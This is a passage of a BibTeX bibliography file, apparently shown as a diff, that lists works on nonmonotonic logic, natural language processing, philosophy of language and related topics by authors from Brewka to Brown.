{1991}, + volume = {50}, + number = {2}, + pages = {183--205}, + topic = {default-logic;} + } + +@incollection{ brewka-etal:1991a, + author = {Gerhard Brewka and David C. Makinson and Karl Schlechta}, + title = {Cumulative Inference Relations for {JTMS} and + Logic Programming}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {1--12}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;truth-maintenance;stable-models;cumulativity;} + } + +@book{ brewka-etal:1993a, + editor = {Gerhardt Brewka and Klaus P. Jantke and P.H. Schmidt}, + title = {Nonmonotonic and Inductive Logics: Proceedings of the + Second International Workshop, Reinhardsbrunn Castle, + Germany, December 2--6, 1991.}, + publisher = {Springer-Verlag}, + year = {1993}, + address = {Berlin}, + missinginfo = {E's 1st name}, + ISBN = {3-540-56433-0}, + contentnote = {Blurb: The volume opens with an extended version of + a tutorial on nonmonotonic logic by G. Brewka, J. Dix, and K. + Konolige. Fifteen selected papers follow, on a variety of + topics. The majority of papers belong either to the area of + nonmonotonic reasoning or to the field of inductive inference, + but some papers integrate research from both areas. The first + workshop in this series was held at the University of Karlsruhe + in December 1990 and its proceedings were published as Lecture + Notes in Artificial Intelligence Volume 543. + } , + topic = {nonmonotonic-logic;induction;inductive-inference;} + } + +@inproceedings{ brewka-hertzberg:1993a, + author = {Gerhard Brewka and J. Hertzberg}, + title = {How to Do Things with Worlds: On Formalizing Actions + and Plans}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {517--532}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {action-formalisms;} + } + +@inproceedings{ brewka-konolige:1993a, + author = {Gerhard Brewka and Kurt Konolige}, + title = {An Abductive Framework for General Logic Programs + and Other Nonmonotonic Systems}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + pages = {9--15}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {kr;abduction;nonmonotonic-reasoning;kr-course;} + } + +@inproceedings{ brewka:1994a, + author = {Gerhardt Brewka}, + title = {Reasoning about Priorities in Default Logic}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {940--945}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;nonmonotonic-logic;nonmonotonic-prioritization;kr-course; + default-logic;} + } + +@inproceedings{ brewka:1994b, + author = {Gerhard Brewka}, + title = {A Reconstruction of {R}escher's Theory of Formal Disputation + Based on Default Logic}, + booktitle = {Proceedings of the Eleventh European Conference on + Artificial Intelligence}, + year = {1994}, + editor = {A. Cohn}, + pages = {366--370}, + publisher = {John Wiley and Sons}, + address = {New York}, + missinginfo = {Editor's 1st name}, + topic = {nonmonotonic-reasoning;argumentation;} + } + +@article{ brewka:1996a, + author = {Gerhardt Brewka}, + title = {Well-Founded Semantics for Extended Logic Programs with + Dynamic Preferences}, + journal = {Journal of Artificial Intelligence Research}, + year = {1996}, + volume = {4}, + pages = {19--36}, + contentnote = {Prioritized reasoning in logic programs with two + negations. Legal example.}, + topic = {logic-programming;nonmonotonic-prioritization; + extended-logic-programming;} + } + +@book{ brewka:1996b, + editor = {Gerhard Brewka}, + title = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + address = {Stanford, California}, + contentnote = {TC: + 1. Didier Dubois and Henri Prade, "Non-standard + Theories of Uncertainty in Plausible + Reasoning", pp. 1--32 + 2. Judea Pearl and Mois\'es Goldszmidt, "Probabilistic + foundations of reasoning with conditionals", pp. 33--68 + 3. Vladimir Lifschitz, "Foundations of Logic + Programming", pp. 69--127 + 4. Kurt Konolige, "Abductive Theories in Artificial + Intelligence", pp. 129--152 + 5. Stefan Wrobel, "Inductive Logic Programming", pp. 153--189 + 6. Francesco M. Donini and Maurizio Lenzerini and + Daniele Nardi and Andrea Schaerf, "Reasoning + in Description Logics", pp. 191--236 + 7. Bernhard Nebel, "Artificial Intelligence: A Computational + Perspective", pp. 237--266 + 8. Oskar Dressler and Peter Strauss, "The Consistency-Based + Approach to Automated Diagnosis of Devices", pp. 267--311 + }, + ISBN = {1575860570}, + topic = {kr;kr-course;kr-survey;} + } + +@book{ brewka-etal:1997a, + author = {Gerhard Brewka and J\"urgen Dix and Kurt Konolige}, + title = {Nonmonotonic Reasoning: An Overview}, + publisher = {CSLI Publications}, + year = {1997}, + address = {Stanford}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@book{ brewka-etal:1997b, + editor = {Gerhard Brewka and Christopher Habel and Bernhard Nebel}, + title = {Ki-97, Advances in Artificial Intelligence: 21st + Annual {G}erman Conference on Artificial Intelligence, + Freiburg, Germany, September 9-12, 1997}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540634932 (softcover)}, + topic = {AI-general;} + } + +@incollection{ brewka-eiter:1998a, + author = {Gerhard Brewka and Thomas Eiter}, + title = {Preferred Answer Sets for Extended Logic Programs}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {86--97}, + address = {San Francisco, California}, + topic = {kr;logic-programming;kr-course;extended-logic-programming;} + } + +@article{ brewka-eiter:1999a, + author = {Gerhard Brewka and Thomas Eiter}, + title = {Preferred Answer Sets for Extended Logic Programs}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {297--356}, + topic = {nonmonotonic-reasoning;default-preferences; + logic-programming;extended-logic-programming;} + } + +@article{ brewka:2001a, + author = {Gerhard Brewka}, + title = {Representing Meta-Knowledge in {P}oole Systems}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {153--165}, + topic = {nonmonotonic-reasoning;metareasoning;} + } + +@incollection{ brewka-etal:2002a, + author = {Gerhard Brewka and Salem Benferhat and Daniel Le Berre}, + title = {Qualitative Choice Logic}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {158--}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;preferences;} + } + +@article{ brice-fennema:1970a, + author = {Claude R. Brice and Claude L. Fennema}, + title = {Scene Analysis Using Regions}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {205--226}, + topic = {computer-vision;} + } + +@inproceedings{ bridgeland-huhns:1990a, + author = {David M. Bridgeland and Michael N. Huhns}, + title = {Distributed Truth Maintenance}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {truth-maintenance;distributed-systems;} + } + +@book{ bridgeman-etal:1965a, + author = {Loraine I. Bridgeman and Dale Dillinger and Constance Higgins + and P. David Seaman and Floyd A. Shank}, + title = {Further Classes of Adjectives}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {adjectives;} + } + +@article{ bridges:1995a, + author = {Douglas S. Bridges}, + title = {Constructive Mathematics and Unbounded Operators---A Reply to + Hellman}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {5}, + pages = {549--561}, + xref = {Comment on hellman:1993a.}, + topic = {quantum-logic;} + } + +@article{ bridges:1999a, + author = {Douglas S. Bridges}, + title = {Can Constructive Mathematics Be Applied + in Physics?}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {5}, + pages = {439--453}, + topic = {constructive-mathematics; + foundations-of-quantum-mechanics;} + } + +@article{ bridges:2000a, + author = {Douglas S. Bridges}, + title = {Can Constructive Mathematics Be Applied in Physics?}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {439--453}, + topic = {constructive-mathematics;mathematics-in-the-sciences;} + } + +@article{ bridges:2002a, + author = {Douglas Bridges}, + title = {Review of {\it Computable Calculus}, by Oliver Aberth}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {426--428}, + xref = {Review of: aberth:2001a.}, + topic = {constructive-mathematics;automated-algebra;} + } + +@inproceedings{ briggs-cook:1995a, + author = {Will Briggs and Diane Cook}, + title = {Flexible Social Laws}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {688--693}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + contentnote = {Cost of communication.}, + topic = {multiagent-planning;distributed-AI;} + } + +@inproceedings{ brill:1992a, + author = {Eric Brill}, + title = {A Simple Rule-Based Part-of-Speech Tagger}, + booktitle = {Proceedings of {ANLP}-92, 3rd Conference on Applied + Natural Language Processing}, + address = {Trento}, + pages = {152--155}, + year = {1992}, + note = {URL: citeseer.nj.nec.com/brill92simple.html}, + topic = {part-of-speech-tagging;} + } + +@techreport{ brill_d:1993a, + author = {David Brill}, + title = {{LOOM} Reference Manual Version 2.0}, + institution = {University of Southern California}, + year = {1993}, + address = {Los Angeles California}, + topic = {taxonomic-logics;} , + } + +@inproceedings{ brill_e:1995a, + author = {Eric Brill}, + title = {Unsupervised Learning of Disambiguation Rules for + Part of Speech Tagging}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {1--13}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-tagging;part-of-speech-tagging;machine-learning; + corpus-linguistics;} + } + +@article{ brill_e:1995b, + author = {Eric Brill}, + title = {Transformation-Based Error-Driven Learning and Natural + Language Processing: A Case Study in Part-of_Speech Tagging}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {4}, + pages = {543--565}, + topic = {part-of-speech-tagging;machine-learning;} + } + +@book{ brill_e-church_kw:1996a, + editor = {Eric Brill and Kenneth Church}, + title = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. I. Dan Melamed, "A Geometric Approach to Mapping Bitext + Correspondence" + 2. Xuanyin Xia and Dekai Wu, "Parsing {C}hinese with + Almost-Context-Free Grammar" + 3. R. Basili and A. Marziali and M.T. Pazienza and P. Velardi, + "Unsupervised Learning of Syntactic Knowledge: Methods + and Measures" + 4. Marie Meteer and Rukmini Iyer, "Modeling Conversational Speech + for Speech Recognition" + 5. Mesaaki Nagata, "Automatic Extraction of New Words from {J}apanese + Texts Using Generalized Forward-Backward Search" + 6. Thorston Brants, "Better Language Models with Model Merging" + 7. Kemal Oflazer and Gokhan Tur, "Combining Hand-Crafted Rules and + Unsupervised Learning in Constraint-Based Morphological + Disambiguation" + 8. Raymond J. Mooney, "Comparative Experiments on Disambiguating + Word Senses: An Illustration of the Role of Bias in Machine + Learning" + 9. John Carroll and Ted Briscoe, "Apportioning Development Effort + in a Probabilistic {LR} Parsing System through Evaluation + 10. Rebecca Bruce and Janyce Wiebe and Ted Pedersen, "Automating + Feature Set Selection for Case-Based Learning of Linguistic + Knowledge" + 11. Claire Cardie, "Automating Feature Set Selection for Case-Based + Learning of Linguistic Knowledge" + 12. Sharon A. Carabello and Eugene Charniak, "Figures of Merit for + Best-First Probabilistic Chart Parsing" + 13. Adwait Ratnaparkhi, "A Maximum Entropy Model for Part-of-Speech + Tagging" + 14. Joshua Goodman, "Efficient Algorithms for Parsing the {DOP} Model" + } , + topic = {empirical-methods-in-nlp;} + } + +@inproceedings{ brill_e-etal:1998a, + author = {Eric Brill and Radu Florian and John C. Henderson and + Lidia Mangu}, + title = {Beyond N-Grams: Can Linguistic Sophistication Improve + Language Modeling?}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {186--190}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {part-of-speech-tagging;} +} + +@article{ brill_e-mooney:1998a, + author = {Eric Brill and Raymond J. Mooney}, + title = {An Overview of Empirical Natural Language Processing}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {13--24}, + topic = {natural-language-processing;corpus-linguistics;corpus-statistics;} + } + +@inproceedings{ brill_e-wu_j:1998a, + author = {Eric Brill and Jun Wu}, + title = {Classifier Combination for Improved Lexical + Disambiguation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {191--195}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {lexical-disambiguation;} +} + +@article{ bringsjord:1984a, + author = {Selmer Bringsford}, + title = {Are There Set Theoretic Possible Worlds?}, + journal = {Analysis}, + year = {1984}, + missinginfo = {number, volume, pages}, + topic = {foundations-of-possible-worlds;intensional-paradoxes;} + } + +@article{ bringsjord-etal:2000a, + author = {Selmer Bringsjord and Clarke Caporale and Ron Noel}, + title = {Animals, Zombanimals, and the Total {T}uring Test}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {397--418}, + topic = {foundations-of-AI;Turing;} + } + +@book{ bringsjord-ferrucci:2000a, + author = {Selmer Bringsford and David A. Ferrucci}, + title = {Artificial Intelligence and Literary Creativity: + Inside the Mind of {BRUTUS}, a Storytelling Machine}, + publisher = {Lawrence Erlbaum Associates}, + year = {2000}, + address = {Mahwah, New Jersey}, + ISBN = {0-8058-1987-8 (pbk)}, + xref = {Review: desousa:2000a.}, + topic = {automated-creative-writing;} + } + +@incollection{ brink_c-schmidt:1992a, + author = {Chris Brink and Renate A. Schmidt}, + title = {Subsumption Computed Algbraically}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {329--342}, + address = {Oxford}, + contentnote = {An abstact, algebraic semantics + for description logics. See dionne-etal:1992a.}, + topic = {kr;classifier-algorithms;equational-logic;kr-course; + taxonomic-logics;algebraic-semantics;} + } + +@article{ brink_c:1997a, + author = {Chris Brink}, + title = {Review of {\it Logic and Information Flow}, by {J}an van + {E}ijk and {A}lbert {V}isser}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {337--338}, + xref = {Review of vaneijk-visser:1994a.}, + topic = {theory-of-computation;dynamic-logic;information-processing; + information-flow-theory;theories-of-information;} + } + +@article{ brink_d:1994a, + author = {David Brink}, + title = {Moral Conflict and Its Structure}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {2}, + pages = {215--248}, + topic = {moral-conflict;} + } + +@book{ briscoe-etal:1993a, + editor = {Ted Briscoe and Valeria de Paiva and Ann Copestake}, + title = {Inheritance, Defaults, and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Bob Carpenter, "Skeptical and Credulous Default Unification + with Applications to Templates and Inheritance" + 2. Roger Evans and Gerald Gazdar and Lionel Moser, "Prioritised + Multiple Inheritance in {DATR}" + 3. Lynne J. Cahill , "Some Reflections on the Conversion of the + {TIC} Lexicon into {DATR}" + 4. Michael Morreau, "Norms or Inference Tickets? A Frontal + Collision between Intuitions" + 5. R\'emi Zajac , "Issues in the Design of a Language for + Representing Linguistic Information Based on + Inheritance and Feature Structures" + 6. Hans-Ulrich Krieger and John Nerbonne, "Feature-Based + Inheritance Networks for Computational Lexicons" + 7. Graham Russell et al., "A Practical Approach to multiple + Default Inheritance for Unification-Based Lexicons" + 8. Ann Copestake et al., "The {ACQUILEX} {LKB}: An Introduction" + 9. Valeria De Paiva, "Types and Constraints in the {LKB}" + 10. Antonio Sanfilippo, "Defaults in Lexical Representation" + 11. Ann Copestake, "{LKB} Encoding of Lexical Knowledge" + 12. Piek Vossen and Ann Copestake, "Untangling Definition + Structure into Knowledge Representation" + } , + ISBN = {0521430275 (hardback)}, + topic = {inheritance;computational-lexicography;} + } + +@techreport{ briscoe:1994a, + author = {Ted Briscoe}, + title = {Parsing (with) Punctuation}, + institution = {Rank Xerox Research Centre}, + address = {Grenoble, France } , + year = {1994}, + topic = {punctuation;} +} + +@inproceedings{ briscoe-carroll_jm:1995b, + author = {Ted Briscoe and John M. Carroll}, + title = {Developing and Evaluating a Probabilistic {LR} Parser + of Part-of-Speech and Punctuation Labels}, + pages = {48--58}, + booktitle = {Proceedings of International Workshop on Parsing + Technologies}, + year = {1995}, + address = {Prague, Czech Republic}, + month = {September}, + topic = {punctuation;} +} + +@incollection{ briscoe-etal:1995a, + author = {Ted Briscoe and Ann Copestake and Alex Lascarides}, + title = {Blocking}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {273--302}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;nm-ling;} + } + +@inproceedings{ briscoe:1997a, + author = {Ted Briscoe}, + title = {Co-Evolution of Language and of the Language Acquisition + Device}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {418--427}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {language-learning;parameter-setting;categorial-grammar; + inheritance;inheritance-reasoning;} + } + +@article{ briscoe-copestake:1999a, + author = {Ted Briscoe and Ann Copestake}, + title = {Lexical Rules in Constraint-Based Grammars}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {487--526}, + topic = {constraint-based-grammar;lexical-rules;} + } + +@book{ britton-graesser:1996a, + editor = {Bruce K. Britton and Arthur C. Grasser}, + title = {Models of Understanding Text}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {text-understanding;psycholinguistics;} + } + +@article{ britz:1999a, + author = {K. Britz}, + title = {Algebra for Theory Change}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {4}, + pages = {429--443}, + topic = {belief-revision;} + } + +@book{ broadbent:1993a, + editor = {Donald Broadbent}, + title = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + address = {Oxford}, + contentnote = {TC: + 1. Roger Penrose, "Setting the Scene: The Claim and the + Issues", pp. 1--32 + 2. Allen Newell and Richard Young and Thad Polk, "The + Approach through Symbols", pp. 33--70 + 3. Dana H. Ballard, "Sub-Symbolic Modeling of Hand-Eye + Coordination", pp. 71--102 + 4. Edmund T. Rolls, "Networks in the Brain", pp. 103--120 + 5. Michael Brady, "Computational Vision", pp. 121--150 + 6. Gerald Gazdar, "The Handling of Natural Language", pp. 151--177 + 7. Margaret A. Boden, "The Impact of Philosophy", pp. 178--197 + 10. Donald Broadbent, "Comparison with Human + Experiments", pp. 198--217 + } , + topic = {foundations-of-AI;philosophy-AI;AI-survey;} + } + +@incollection{ broadbent:1993b, + author = {Donald Broadbent}, + title = {Comparison with Human Experiments}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {198--217}, + address = {Oxford}, + topic = {foundations-AI;cognitive-psychology;} + } + +@article{ broadie:1972a, + author = {Alexander Broadie}, + title = {Imperatives}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {322}, + pages = {179--190}, + topic = {imperative-logic;imperatives;} + } + +@article{ brockriede-ehringer:1960a1, + author = {Wayne E. Brockriede and Douiglas Ehringer}, + title = {Toulmin on Argument: An Interpretation and Application}, + journal = {Quarterly Journal of Speech}, + year = {1960}, + volume = {46}, + pages = {44--55}, + missinginfo = {number}, + xref = {Reprinted in golden-etal:1976a, see brockriede-ehringer:1960a2}, + topic = {rhetoric;argumentation;} + } + +@incollection{ brockriede-ehringer:1960a2, + author = {Wayne E. Brockriede and Douiglas Ehringer}, + title = {Toulmin on Argument: An Interpretation and Application}, + booktitle = {The Rhetoric of {W}estern Thought}, + publisher = {Kendall/Hunt Publishing Co.}, + year = {1976}, + editor = {James L. Golden and Goodwin F. Berquist and William E. Coleman}, + pages = {175--198}, + address = {Dubuque, Iowa}, + missinginfo = {number}, + xref = {Reprinted see brockriede-ehringer:1960a1}, + topic = {rhetoric;argumentation;} + } + +@incollection{ brodie:1984b, + author = {Michael L. Brodie}, + title = {On the Development of Data Models}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {19--83}, + address = {Berlin}, + topic = {databases;data-models;} + } + +@book{ brodie-etal:1984a, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + title = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + address = {Berlin}, + topic = {kr;databases;} + } + +@incollection{ brody_ba:1978a, + author = {Baruch A. Brody}, + title = {Kripke on Proper Names}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {75--80}, + address = {Minneapolis}, + topic = {reference;proper-names;} + } + +@incollection{ brody_m:1982a, + author = {Michael Brody}, + title = {On Circular Readings}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + editor = {N.V. Smith}, + pages = {133--147}, + address = {London}, + topic = {Bach-Peters-sentences;anaphora;} + } + +@incollection{ brody_m-manzini:1988a, + author = {Michael Brody and M. Rita Manzini}, + title = {On Implicit Arguments}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {105--130}, + address = {Cambridge, England}, + topic = {nl-semantics;ellipsis;argument-structure;} + } + +@book{ brody_m:1995a, + author = {Michael Brody}, + title = {Lexico-Logical Form: A Radically Minimalist Theory}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;minimalist-syntax;} + } + +@book{ broeder:2000a, + editor = {Peter Broeder}, + title = {Models of Language Acquisition: Inductive and Deductive + Approaches}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + ISBN = {0-19-824138-0 (hardback)}, + topic = {L1-acquisition;} + } + +@incollection{ brogi-turini:1991a, + author = {Antonio Brogi and Franco Turini}, + title = {Metalogic for Knowledge Representation}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {61--69}, + address = {San Mateo, California}, + topic = {kr;logic-programming;semantic-reflection;metareasoning; + kr-course;} + } + +@incollection{ brogi-contiero:1994a, + author = {Antonio Brogi and Simone Contiero}, + title = {G\"odel as a Meta-Language for + Composing Logic Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {377--394}, + address = {Berlin}, + topic = {metaprogramming;} + } + +@inproceedings{ broker:1998a, + author = {Norbert Br\"oker}, + title = {Separating Surface Order and Syntactic Relations in a + Dependency Grammar}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {174--180}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {dependency-grammar;} +} + +@incollection{ bromberger:1962a, + author = {Sylvan Bromberger}, + title = {What Are Effects?}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {15--20}, + address = {New York}, + xref = {Comments on: vendler:1962a.}, + topic = {ordinary-language-philosophy;causality;} + } + +@incollection{ bromberger:1965a, + author = {Sylvan Bromberger}, + title = {An Approach to Explanation}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {72--105}, + address = {Oxford}, + topic = {explanation;interrogatives;why-questions;} + } + +@inproceedings{ bromme-etal:1999a, + author = {Rainer Bromme and Matthias N\"uckles and Riklef Rambow}, + title = {Adaptivity and Anticipation in Expert-Laypeople + Communication}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {17--24}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;expert-nonexpert-communication;} + } + +@book{ brooks_mz:1975a, + author = {by Maria Zagorska Brooks}, + title = {Polish Reference Grammar}, + publisher = {Mouton}, + year = {1975}, + address = {The Hague}, + ISBN = {9027933138}, + topic = {Polish-language;reference-grammars;} + } + +@article{ brooks_ra:1981a, + author = {Rodney A. Brooks}, + title = {Symbolic Reasoning among {3-D} Models and {2-D} Images}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {285--348}, + topic = {computer-vision;three-D-reconstruction;} + } + +@article{ brooks_ra:1991a, + author = {Rodney A. Brooks}, + title = {Intelligence without Representation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {139--159}, + topic = {minimalist-robotics;reactive-AI;foundations-of-AI;krcourse;} + } + +@inproceedings{ brooks_ra:1991b, + author = {Rodney A. Brooks}, + title = {Intelligence without Reason}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + pages = {569--595}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {A's 1st name}, + topic = {minimalist-robotics;reactive-AI;} + } + +@article{ brooks_rr-etal:1996a, + author = {R.R. Brooks and S.S. Iyengar and J. Chen}, + title = {Automatic Correlation and Calibration of Noisy Sensor + Readings Using Elite Genetic Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {339--354}, + acontentnote = {Abstract: + This paper explores an image processing application of + optimization techniques which entails interpreting noisy sensor + data. The application is a generalization of image correlation; + we attempt to find the optimal gruence which matches two + overlapping gray scale images corrupted with noise. Both tabu + search and genetic algorithms are used to find the parameters + which match the two images. A genetic algorithm approach using + an elitist reproduction scheme is found to provide significantly + superior results.}, + topic = {genetic-algorithms;reasoning-about-noisy-sensors; + noise-reduction;} + } + +@book{ broome_j:1991a, + author = {John Broome}, + title = {Weighing Goods: Equality, Uncertainty, and Time}, + publisher = {Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + topic = {multiattribute-utility;} + } + +@article{ broome_ja:1984a, + author = {J.A. Broome}, + title = {Indefiniteness in Identity}, + journal = {Analysis}, + year = {1984}, + volume = {44}, + pages = {263--287}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;identity;} + } + +@article{ brouwer:1913a, + author = {L.E.J. Brouwer}, + title = {Intuitionism and Formalism}, + journal = {Bulletin of the {A}merican {M}athematical {S}ociety}, + year = {1913}, + volume = {20}, + number = {2}, + pages = {81--96}, + missinginfo = {A's 1st name}, + topic = {intuitionistic-mathematics;philosophy-of-mathematics;} + } + +@inproceedings{ brouwer:1948a, + author = {L.E.J. Brouwer}, + title = {Consciousness, Philosophy, and Mathematics}, + booktitle = {Proceedings of the {X}th International Congress + of Philosophy}, + year = {1948}, + pages = {1235--1249}, + publisher = {North-Holland Publishing Co.}, + address = {Amsterdam}, + missinginfo = {A's 1st name}, + topic = {intuitionistic-mathematics;philosophy-of-mathematics;} + } + +@book{ browder:1992a, + editor = {Felix E. Browder}, + title = {Mathematics into the Twenty-First Century: 1988 Centennial + Symposium, August 8--12}, + publisher = {Providence, R.I. American Mathematical Society}, + year = {1992}, + address = {Providence}, + ISBN = {0821801678}, + topic = {mathematics-general;} + } + +@article{ brown_b:1999a, + author = {Bryson Brown}, + title = {Yes, {V}irginia, There Really Are Paraconsistent + Logics}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {5}, + pages = {489--500}, + topic = {paraconsistency;} + } + +@article{ brown_b:1999b, + author = {Bryson Brown}, + title = {Adjunction and 